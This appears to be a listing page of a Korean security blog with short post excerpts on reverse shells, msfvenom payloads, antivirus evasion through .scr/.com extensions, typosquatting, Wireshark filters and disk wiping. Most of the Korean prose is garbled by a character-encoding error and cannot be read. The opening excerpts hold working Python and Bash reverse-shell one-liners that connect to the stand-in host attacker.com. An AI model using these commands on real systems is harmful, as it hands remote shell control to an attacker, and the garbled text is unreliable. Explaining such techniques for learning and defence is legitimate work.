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๐Ÿ”’์ •๋ณด๋ณด์•ˆ108

์‹œ์Šคํ…œ ๋ณด์•ˆ - ํŒŒ์ด์ฌ ๋ฆฌ๋ฒ„์Šค ์‰˜ ์Šคํฌ๋ฆฝํŠธ export RHOST=attacker.com export RPORT=12345 python -c 'import sys,socket,os,pty;s=socket.socket() s.connect((os.getenv("RHOST"),int(os.getenv("RPORT")))) [os.dup2(s.fileno(),fd) for fd in (0,1,2)] pty.spawn("/bin/sh")' ๋Œ€๋ถ€๋ถ„์˜ ์œ ๋‹‰์Šค ๊ณ„์—ด์˜ OS(๋ฆฌ๋ˆ…์Šค, ๋งฅos)์—๋Š” python2๋Š” ์„ค์น˜๊ฐ€ ๋˜์–ด์žˆ๋Š” ๊ฒฝ์šฐ๊ฐ€ ๋งŽ์œผ๋‹ˆ ๋ณ„๋„์˜ ์„ค์น˜ ์—†์ด ๋ช…๋ น์–ด๋งŒ์œผ๋กœ ์‚ฌ์šฉ ๊ฐ€๋Šฅํ•˜๋‹ค. ์ถœ์ฒ˜: https://gtfobins.github.io/gtfobins/python/#reverse-shell python | GTFOBins Run socat file:`tt.. 2023. 1. 25.
์‹œ์Šคํ…œ ๋ณด์•ˆ - ๋ฉ”ํƒ€์Šคํ”Œ๋กœ์ž‡ msfvenom ๋ฆฌ๋ฒ„์Šค ์‰˜ ์ œ์ž‘ ๋ช…๋ น์–ด ์ถœ์ฒ˜: https://infinitelogins.com/2020/01/25/msfvenom-reverse-shell-payload-cheatsheet/ MSFVenom Reverse Shell Payload Cheatsheet (with & without Meterpreter) Encrypt and Anonymize Your Internet Connection for as Little as $3/mo with PIA VPN. Learn More There are tons of cheatsheets out there, but I couldn’t find a comprehensive one that includes n… infinitelogins.com ์œˆ๋„์šฐ msfvenom -p windows/meterp.. 2023. 1. 24.
๋ณด์•ˆ - GTFOBins, ์‹œ์Šคํ…œ ๋ณด์•ˆ ๋ฌด๋ ฅํ™” ๋ช…๋ น์–ด ๋ชจ์Œ๋“ค https://gtfobins.github.io/ GTFOBins pg Shell File read SUID Sudo gtfobins.github.io ์˜ˆ์‹œ) Bash ๋ฆฌ๋ฒ„์Šค ์‰˜ ํ™œ์„ฑํ™” ๋ช…๋ น์–ด export RHOST=attacker.com export RPORT=12345 bash -c 'exec bash -i &>/dev/tcp/$RHOST/$RPORT 2023. 1. 22.
์›น ๋ณด์•ˆ - ๋ฐ”์ธ๋“œ ์‰˜, ๋ฆฌ๋ฒ„์Šค ์‰˜, ๋”๋ธ” ๋ฆฌ๋ฒ„์Šค ์‰˜ ๋ฐ”์ธ๋“œ ์…ธ์€ ํƒ€๊นƒ ๋””๋ฐ”์ด์Šค์— ์„ค์น˜๋œ ์…ธ์˜ ์ผ์ข…์ด๋‹ค. ๊ณต๊ฒฉ ๋Œ€์ƒ์ด ๋˜๋Š” ํ˜ธ์ŠคํŠธ์˜ ํŠน์ • ํฌํŠธ์— ๋ฐ”์ธ๋”ฉ๋ผ ๋””๋ฐ”์ด์Šค์— ๋Œ€ํ•ด ์ˆ˜์‹  ๋Œ€๊ธฐํ•˜๋ฉฐ, ํ•ด์ปค๋Š” ์›๊ฒฉ์œผ๋กœ ์ด ์›น์…ธ์— ์•ก์„ธ์Šคํ•ด ๋Œ€์ƒ ํ˜ธ์ŠคํŠธ์—์„œ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‹คํ–‰ํ•˜๋Š” ๋ฐ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋‹ค. ๋ฆฌ๋ฒ„์Šค ์…ธ์€ ๊ณต๊ฒฉ์ž๊ฐ€ ๋ณด์•ˆ ์ทจ์•ฝ์ ์„ ์ด์šฉํ•ด ํ˜ธ์ŠคํŠธ ์ปดํ“จํ„ฐ์— ์›๊ฒฉ์œผ๋กœ ์—ฐ๊ฒฐํ•  ์ˆ˜ ์žˆ๋„๋ก ํ•œ ํ›„, ๊ณต๊ฒฉ์ž๊ฐ€ ์ž์‚ฐ์˜ ํฌํŠธ๋ฅผ ์—ด๋ฉด ํ˜ธ์ŠคํŠธ ์ปดํ“จํ„ฐ๊ฐ€ ๊ณต๊ฒฉ์ž์˜ ํฌํŠธ์— ์ ‘์†ํ•˜๋Š” ๋ฐฉ์‹์ด๋‹ค. ๊ทธ ์ดํ›„ ๊ณต๊ฒฉ์ž๋Š” ํ”ผํ•ด์ž์˜ ์ปดํ“จํ„ฐ๋ฅผ ๋งˆ์Œ๋Œ€๋กœ ์กฐ์ข…ํ•  ์ˆ˜ ์žˆ๋‹ค. ๋”๋ธ” ๋ฆฌ๋ฒ„์Šค ์…ธ์€ ๊ณต๊ฒฉ ๋Œ€์ƒ์ด ๋˜๋Š” ํ˜ธ์ŠคํŠธ๊ฐ€ ํ•ด์ปค๋กœ๋ถ€ํ„ฐ ๊ณต๊ฒฉ์„ ๋ฐ›๋Š” ํฌํŠธ๊ฐ€ ์•„๋‹Œ ๋ณ„๋„์˜ ํฌํŠธ๋กœ ํ•ด์ปค์˜ ์žฅ์น˜์— ์—ฐ๊ฒฐ๋˜๋Š” ๊ฒƒ์ด๋‹ค. ๋”ฐ๋ผ์„œ ์ž…๋ ฅ ํŠธ๋ž˜ํ”ฝ ํฌํŠธ์™€ ์ถœ๋ ฅ ํŠธ๋ž˜ํ”ฝ ํฌํŠธ ๋“ฑ ์„œ๋กœ ๋‹ค๋ฅธ ๋‘ ๊ฐœ์˜ ์—ฐ๊ฒฐํฌํŠธ๊ฐ€ ์žˆ๋‹ค. ์›น์…ธ์„ ์„œ๋ฒ„์— ์˜ฌ๋ฆฌ๋Š” ๋ฐฉ๋ฒ•์€ ํŒŒ์ผ ์—….. 2022. 12. 5.
๋ณด์•ˆ - ์นจํ•ด์‚ฌ๊ณ  ๋Œ€์‘๋ฒ• ๋„์„œ "์‚๋ฝ€์‚๋ฝ€ ๋ณด์•ˆ 119" ๋ฆฌ๋ทฐ ์‚๋ฝ€์‚๋ฝ€ ๋ณด์•ˆ 119 ์‚๋ฝ€์‚๋ฝ€ ๋ณด์•ˆ 119, ์•…์„ฑ ์ฝ”๋“œ, ํ•ดํ‚น, ํ”ผ์‹ฑ, ๋žœ์„ฌ์›จ์–ด, ๋””๋„์Šค๋ฅผ ๋Œ€๋น„ํ•˜๋Š” ์šฐ๋ฆฌ์˜ ์ž์„ธ๋ฅผ ์•Œ์•„๋ณด๋Š” ์ฑ…์„ ์ฝ์–ด ๋ณด์•˜๋‹ค. ์ตœ๊ทผ์— ๋”๋”์šฑ ๋ณด์•ˆ์— ๊ด€์‹ฌ์„ ๊ฐ€์ง€๊ฒŒ ๋˜๋ฉด์„œ ์‚ฌ์ด๋ฒ„ ๋ณด์•ˆ ๊ด€๋ จ ์ž๋ฃŒ๋“ค์„ ์ธํ„ฐ๋„ท์—์„œ ์ฐพ์•„์™”์ง€๋งŒ ๋ถ€์กฑํ•œ ์ ์ด ๋งŽ๋‹ค๊ณ  ๋Š๊ปด ์ €์„œ ๋ณด์•ˆ ๊ด€๋ จ ์ „๋ฌธ๊ฐ€๊ฐ€ ์ง‘ํ•„ํ•œ ์ด ์ฑ…์„ ์„ ํƒํ•˜๊ฒŒ ๋˜์—ˆ๋‹ค. ์ฑ…์€ ์˜ˆ์ œ์™€ ๊ทธ๋ฆผ ์ž๋ฃŒ๊ฐ€ ์žˆ์–ด์„œ ๋” ์ดํ•ดํ•˜๊ธฐ๊ฐ€ ์‰ฝ๊ณ , ๋ฌด์—‡๋ณด๋‹ค๋„ ๋”์šฑ ๋งˆ์Œ์— ๋“ค์—ˆ๋˜ ์ ์€ ๋Œ€์‘ ๋ฐฉ๋ฒ•์ด ์ ํ˜€ ์žˆ๋Š” ๊ฒƒ! ๋งˆ์ฐฌ๊ฐ€์ง€๋กœ ์‚ฌ์ง„์œผ๋กœ ์„ค๋ช…๋˜์–ด ์žˆ์–ด์„œ ๊ทธ๋Œ€๋กœ ๋”ฐ๋ผ ํ•˜๊ธฐ๋งŒ ํ•˜๋ฉด ์†์‰ฌ์šด ์‚ฌ๊ณ  ๋Œ€์‘์ด ๊ฐ€๋Šฅํ–ˆ๋‹ค. ์ฑ…์˜ ์ด๋ฆ„์ด "์‚๋ฝ€์‚๋ฝ€ ๋ณด์•ˆ 119"์ธ ์ด์œ ๊ฐ€ 119๊ฐ€์ง€ ๋ณด์•ˆ ์œ„ํ˜‘ ์‚ฌ๋ก€๋ฅผ ๋‹ค๋ฃจ๊ธฐ ๋•Œ๋ฌธ์— ๋ถ™์—ฌ์ง„ ์ด๋ฆ„์ด๋ฉฐ, ๋ชฉ์ฐจ๋ฅผ ๋ณด๋ฉด ์•Œ๊ฒ ์ง€๋งŒ ์ •~~~~๋ง ๋‹ค์–‘ํ•œ ์œ„ํ˜‘ ์‚ฌ๋ก€๋“ค์„ ๋‹ค๋ฃฌ๋‹ค. ์šฐ๋ฆฌ์—๊ฒŒ ์ต์ˆ™.. 2022. 10. 9.
์‹œ์Šคํ…œ ๋ณด์•ˆ - EXE ํ™•์žฅ์ž๋ฅผ ๋Œ€์ฒดํ•˜๋Š” ํ™•์žฅ์ž๋“ค(SCR, COM, BAT) .exe ํ˜•ํƒœ์˜ ์‹คํ–‰ ํ”„๋กœ๊ทธ๋žจ ๋ง๊ณ ๋„ .scr๊ณผ .com์œผ๋กœ๋„ ๋™์ผํ•œ ์‹คํ–‰ ๊ฒฐ๊ณผ๋ฅผ ๊ฐ€์ ธ์˜ฌ ์ˆ˜ ์žˆ๋‹ค. .scr .scr์€ ํ™”๋ฉด ๋ณดํ˜ธ๊ธฐ ์ฆ‰ Windows Screensaver๋ฅผ ์˜๋ฏธํ•˜์ง€๋งŒ ๋งˆ์ฐฌ๊ฐ€์ง€๋กœ ํฌ๋งท ์ข…๋ฅ˜๊ฐ€ ์‹คํ–‰ ํŒŒ์ผ ํ˜•ํƒœ๋ผ์„œ .exe ํŒŒ์ผ์˜ ํ™•์žฅ์ž๋ฅผ .scr๋กœ ๋ฐ”๊ฟ”๋งŒ ์ค˜๋„ ๋˜‘๊ฐ™์ด ์‹คํ–‰์ด ์ž˜ ๋œ๋‹ค. ์ด๋ฅผ ์•…์šฉํ•˜์—ฌ ๋ฐฑ์‹  ํ”„๋กœ๊ทธ๋žจ์ด .exe๋ฅผ ์šฐ์„ ์ ์œผ๋กœ ๊ฒ€์‚ฌํ•œ๋‹ค๋Š” ๊ฒƒ์„ ์šฐํšŒํ•˜๊ธฐ ์œ„ํ•ด์„œ .scr์„ ๋Œ€์‹  ์‚ฌ์šฉํ•˜๋Š” ๋ฉ€์›จ์–ด๋„ ์กด์žฌํ•œ๋‹ค. .com .com์€ DOS Command File์œผ๋กœ .scr๊ณผ ๋งˆ์ฐฌ๊ฐ€์ง€๋กœ ์‹คํ–‰ ํŒŒ์ผ ํฌ๋งท์„ ๊ฐ€์ง€๊ณ  ์žˆ์–ด์„œ .exe ํŒŒ์ผ์„ .com์œผ๋กœ ๋ฐ”๊ฟ”์ค˜๋„ ๋™์ผํ•˜๊ฒŒ ์‹คํ–‰๋œ๋‹ค. ์›๋ž˜๋Š” DOS ํ™˜๊ฒฝ์—์„œ ์ž์ฃผ ์‚ฌ์šฉ๋˜๋˜ ํ™•์žฅ์ž์ด์—ˆ๋‹ค๊ณ  ํ•œ๋‹ค. ์šฐ๋ฆฌ๊ฐ€ ์ž์ฃผ ์‚ฌ์šฉํ•˜๋Š” ์ธํ„ฐ๋„ท ๋„๋ฉ”์ธ ".com"๊ณผ๋Š” ๋‹ค๋ฅธ ๊ฒƒ.. 2022. 10. 7.
์‹œ์Šคํ…œ ๋ณด์•ˆ - Jscript Jscript๋Š” ECMA์Šคํฌ๋ฆฝํŠธ ํ‘œ์ค€์— ๊ธฐ๋ฐ˜์„ ๋‘” ์Šคํฌ๋ฆฝํŒ… ์–ธ์–ด์ด๊ธฐ ๋•Œ๋ฌธ์— Javascript๊ณผ ๋ฌธ๋ฒ•์ด ๋˜‘๊ฐ™๋‹ค. ๊ฒŒ๋‹ค๊ฐ€ ๋‘˜ ๋‹ค ๋ธŒ๋ผ์šฐ์ €์—์„œ ์‹คํ–‰์‹œํ‚ค๋Š” ์Šคํฌ๋ฆฝํŠธ ์–ธ์–ด์ธ ๊ฒƒ๋„ ๋™์ผํ•˜๋‹ค. (Jscript: ๋งˆ์ดํฌ๋กœ์†Œํ”„ํŠธ ๊ฐœ๋ฐœ, Javascript: ๋„ท์Šค์ผ€์ดํ”„ ๊ฐœ๋ฐœ) ํ•˜์ง€๋งŒ ๋‘˜์ด ๊ฐ™๋‹ค๊ณ  ํ•  ์ˆ˜๋Š” ์—†๋Š” ๊ฒŒ Jscript๋Š” ์‹œ์Šคํ…œ ๋‚ด์— ์™ธ๋ถ€ ํ”„๋กœ๊ทธ๋žจ์„ ์‹คํ–‰์‹œํ‚ฌ ์ˆ˜ ์žˆ๋Š” WScript(์œˆ๋„์šฐ ์Šคํฌ๋ฆฝํŠธ ํ˜ธ์ŠคํŠธ)๋ฅผ ์ถ”๊ฐ€ํ•œ ์–ธ์–ด๋ผ๋Š” ์ . ์˜ˆ์‹œ๋กœ Jscript๋Š” ์ธํ„ฐ๋„ท ์ต์Šคํ”Œ๋กœ๋Ÿฌ์—์„œ ์“ฐ์ด๋Š”๋ฐ(์ง€๊ธˆ์€ ์‚ฌ์šฉ ์ค‘๋‹จํ–ˆ์ง€๋งŒ) ์šฐ๋ฆฌ๊ฐ€ ์€ํ–‰ ์‚ฌ์ดํŠธ์— ๋“ค์–ด๊ฐ€๊ฒŒ ๋˜๋ฉด ์ปดํ“จํ„ฐ์— ๊น”๋ ค์žˆ๋Š” ๋ณด์•ˆ ํ”„๋กœ๊ทธ๋žจ๊ณผ ์ƒํ˜ธ์ž‘์šฉ์„ ํ•˜๊ฒŒ ๋˜๋Š”๋ฐ ์ด๊ฒŒ WScript ๋•๋ถ„์— ๊ฐ€๋Šฅํ•œ ์ผ์ด๋‹ค. ๊ฐ€๋” ์œˆ๋„์šฐ์—์„œ .js ํŒŒ์ผ์„ ํ™•์ธํ•˜๋ฉด ์•„๋ž˜์ฒ˜๋Ÿผ ๋ญ”๊ฐ€ ์•„์ด์ฝ˜๋„ ์žˆ๊ณ  ํ•œ๋ฐ .. 2022. 10. 6.
์›น ๋ณด์•ˆ - IP ๊ธฐ๋ฐ˜ ๊ฒ€์ฆ ๋„๊ตฌ(criminalip) https://criminalip.com ์ฃผ์†Œ๋‚˜ ์•„์ดํ”ผ๋ฅผ ์ž…๋ ฅํ•˜๋ฉด ์œ„ํ—˜๋„๋ฅผ ๋ถ„์„ํ•˜์—ฌ ์•Œ๋ ค์ฃผ๋Š” ์‚ฌ์ดํŠธ๋‹ค. 2022. 10. 6.
์›น ๋ณด์•ˆ - ํƒ€์ดํฌ์Šค์ฟผํŒ…(Typosquatting) ์‚ฌ์šฉ์ž๊ฐ€ ๋„๋ฉ”์ธ ์ฃผ์†Œ๋ฅผ ์‹ค์ˆ˜๋กœ ์ž˜๋ชป ์ž…๋ ฅ์„ ํ•˜๋Š” ๊ฒƒ์„ ์•…์šฉํ•˜์—ฌ ์ž˜๋ชป ์ž…๋ ฅ๋œ ์ฃผ์†Œ์˜ ์‚ฌ์ดํŠธ์— ๋ฐ”์ด๋Ÿฌ์Šค๋ฅผ ์‹ฌ์–ด ๋‹ค์šด๋กœ๋“œ๋ฅผ ์œ ๋„ํ•˜๋Š” ๊ณต๊ฒฉ ๋ฐฉ์‹์ด๋‹ค. ๋Œ€ํ‘œ์ ์œผ๋กœ google.com์„ ์‹ค์ˆ˜๋กœ ์ž˜๋ชป ์ž…๋ ฅํ•œ goggle.com, gooogle.com ๋“ฑ ์ด ์žˆ๋‹ค. ๋งค๊ทธ๋‹ˆ๋ฒ ๋ฅด(Magniber)๋ผ๋Š” ๋žœ์„ฌ์›จ์–ด ๋˜ํ•œ ํƒ€์ดํฌ์Šค์ฟผํŒ…์„ ์ด์šฉํ•˜์—ฌ ๋‹ค์šด๋กœ๋“œ๋ฅผ ์œ ๋„ํ•˜๋Š” ๋ฐฉ์‹์„ ์‚ฌ์šฉํ•œ๋‹ค. https://asec.ahnlab.com/ko/39376/ ๋งค๊ทธ๋‹ˆ๋ฒ ๋ฅด(Magniber) ๋žœ์„ฌ์›จ์–ด ๋ณ€๊ฒฝ (*.js -> *.wsf) - 09/28 - ASEC BLOG ASEC ๋ถ„์„ํŒ€์€ ์ง€๋‚œ 9์›” 8์ผ ๋งค๊ทธ๋‹ˆ๋ฒ ๋ฅด ๋žœ์„ฌ์›จ์–ด๊ฐ€ CPL ํ™•์žฅ์ž ์—์„œ JSE ํ™•์žฅ์ž๋กœ ๋ณ€๊ฒฝ๋จ์„ ๋ธ”๋กœ๊ทธ๋ฅผ ํ†ตํ•ด ์†Œ๊ฐœํ•œ ๋ฐ” ์žˆ๋‹ค. ๊ณต๊ฒฉ์ž๋Š” 9์›” 8์ผ ์ดํ›„์—๋„ ์ง€๋‚œ 9์›” 16์ผ์—๋Š” J.. 2022. 10. 6.
๋ณด์•ˆ - ๋ฌด๋ฃŒ ์˜คํ”ˆ์†Œ์Šค ๊ธฐ๋ฐ˜ ์†Œํ”„ํŠธ์›จ์–ด(FOSS) ์ถ”์ฒœ ์‚ฌ์ดํŠธ ๋ชจ์Œ https://www.privacyguides.org/ Home Privacy Guides is your central privacy and security resource to protect yourself online. www.privacyguides.org https://www.privacytools.io/ Best Privacy Tools in 2022: Software Alternatives Usability: Is the app or service user-friendly and easy to use? A modern and well-designed interface makes it easy to understand for users and therefore can be widely adopt.. 2022. 9. 29.
๋„คํŠธ์›Œํฌ ๋ณด์•ˆ - ์™€์ด์–ด์ƒคํฌ(Wireshark) SSL handshake ํ•„ํ„ฐ Useful Wireshark filter for analysis of SSL Traffic. Client Hello: ssl.handshake.type == 1 Server Hello: ssl.handshake.type == 2 NewSessionTicket: ssl.handshake.type == 4 Certificate: ssl.handshake.type == 11 CertificateRequest ssl.handshake.type == 13 ServerHelloDone: ssl.handshake.type == 14 Note: “ServerHellpDone” means full-handshake TLS session. Cipher Suites: ssl.handshake.ciphersuite I fo.. 2022. 9. 22.
๋””์ง€ํ„ธ ํฌ๋ Œ์‹ - ํœด๋Œ€ํฐ, ์ปดํ“จํ„ฐ ์ €์žฅ ์žฅ์น˜๋ฅผ ๋ณต๊ตฌ ๋ถˆ๊ฐ€๋Šฅํ•˜๊ฒŒ ๋งŒ๋“œ๋Š” ๋ฐฉ๋ฒ• ํœด๋Œ€ํฐ 1. ๊ณต์žฅ ์ดˆ๊ธฐํ™” 2. ์˜์–ด ๋Œ€์†Œ๋ฌธ์ž + ์ˆซ์ž + ํŠน์ˆ˜๋ฌธ์ž ๋น„๋ฐ€๋ฒˆํ˜ธ ์•”ํ˜ธํ™” 12์ž๋ฆฌ ์ด์ƒ 3. ํœด๋Œ€ํฐ ์žฌ๋ถ€ํŒ… ํ˜น์€ ์ข…๋ฃŒ - ํœด๋Œ€ํฐ์— ์‚ฝ์ž…ํ–ˆ๋˜ SD ์นด๋“œ๋Š” ๋ฐ‘์˜ ๋ฐฉ๋ฒ•์„ ๋”ฐ๋ฅธ๋‹ค. ์ปดํ“จํ„ฐ(HDD, SDD, SD ์นด๋“œ) 0. BitLocker ์•”ํ˜ธํ™” 1. ์œˆ๋„์šฐ ์ž์ฒด ๊ธฐ๋Šฅ์ธ "๋น ๋ฅธ ํฌ๋งท" ์‚ฌ์šฉ 2. ๋กœ์šฐ ํฌ๋งท 3๋ฒˆ ์ด์ƒ(ํ˜น์€ cipher ๋ช…๋ น์–ด ์‚ฌ์šฉ "cipher /w:๋“œ๋ผ์ด๋ธŒ๋ช…:" ) 3. ๊ฐ•์ž์„์œผ๋กœ ํ•˜๋“œ๋””์Šคํฌ์˜ ์ž์„ฑ์„ ๋ง๊ฐ€ํŠธ๋ฆฐ๋‹ค. 4. ๋“œ๋ฆด๋กœ ๋””์Šคํฌ๋ฅผ ๋ฌผ๋ฆฌ์ ์œผ๋กœ ํŒŒ๊ดด ์ฐธ๊ณ : https://syki66.github.io/blog/2020/08/10/make-disk-irrecoverable.html ์ €์žฅ์žฅ์น˜์—์„œ ํฌ๋ Œ์‹์œผ๋กœ๋„ ๋ณต๊ตฌ ๋ถˆ๊ฐ€๋Šฅํ•˜๊ฒŒ ํŒŒ์ผ ๋ฐ ํด๋” ์™„์ „ ์‚ญ์ œํ•˜๊ธฐ - syki66 blog ์ผ๋ฐ˜์ ์ธ .. 2022. 9. 16.
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